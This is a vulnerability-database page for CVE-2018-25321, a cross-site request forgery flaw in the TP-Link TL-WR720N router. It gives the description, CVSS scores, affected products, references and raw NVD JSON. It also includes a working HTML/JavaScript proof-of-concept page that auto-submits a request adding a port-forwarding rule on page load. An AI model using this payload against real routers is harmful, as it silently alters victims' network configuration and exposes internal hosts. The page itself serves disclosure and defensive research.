CVE-2018-25321

Description

TP-Link TL-WR720N wireless router contains a cross-site request forgery vulnerability that allows attackers to perform unauthorized administrative actions by crafting malicious web requests. Attackers can modify port forwarding rules via VirtualServerRpm.htm or change WiFi security settings via WlanSecurityRpm.htm by tricking authenticated users into visiting attacker-controlled pages.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:tp-link:tl-wr720n_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tp-link:tl-wr720n:-:*:*:*:*:*:*:* - NOT VULNERABLE

TP-Link TL-WR720N (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2018-25321 -->
<!-- This PoC demonstrates a CSRF attack to modify port forwarding rules -->
<!-- The victim must be logged into the router admin panel -->

<html>
<body>
  <script>
    function submitRequest() {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "http://192.168.1.1/VirtualServerRpm.htm", true);
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      // Payload to add a port forwarding rule (Example: forwarding external port 8080 to internal 192.168.1.100:80)
      var params = "index=0&internalClient=192.168.1.100&internalPort=80&externalPort=8080&protocol=1&enable=1&save=Save";
      xhr.send(params);
    }
    // Execute automatically on page load
    window.onload = submitRequest;
  </script>
  <p>CSRF PoC executed. Check router settings.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25321
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25321
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25321/
[4] VulDB https://vuldb.com/cve/CVE-2018-25321
[5] https://static.tp-link.com/resources/software/TL-WR720N_V1_130719.zip
[6] https://www.exploit-db.com/exploits/44335
[7] https://www.tp-link.com/
[8] https://www.vulncheck.com/advisories/tp-link-tl-wr720n-all-versions-csrf-via-administrative-interfaces

Raw JSON Data

JSON

{"cve": {"id": "CVE-2018-25321", "sourceIdentifier": "[email protected]", "published": "2026-05-17T13:16:43.403", "lastModified": "2026-05-18T18:34:55.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TP-Link TL-WR720N wireless router contains a cross-site request forgery vulnerability that allows attackers to perform unauthorized administrative actions by crafting malicious web requests. Attackers can modify port forwarding rules via VirtualServerRpm.htm or change WiFi security settings via WlanSecurityRpm.htm by tricking authenticated users into visiting attacker-controlled pages."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tl-wr720n_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "v1_130719", "matchCriteriaId": "0D782304-8B31-4695-B836-E269C288DFD0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tl-wr720n:-:*:*:*:*:*:*:*", "matchCriteriaId": "4B2110C1-B0AC-4608-93DD-43A128189858"}]}]}], "references": [{"url": "https://static.tp-link.com/resources/software/TL-WR720N_V1_130719.zip", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/44335", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tp-link.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/tp-link-tl-wr720n-all-versions-csrf-via-administrative-interfaces", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}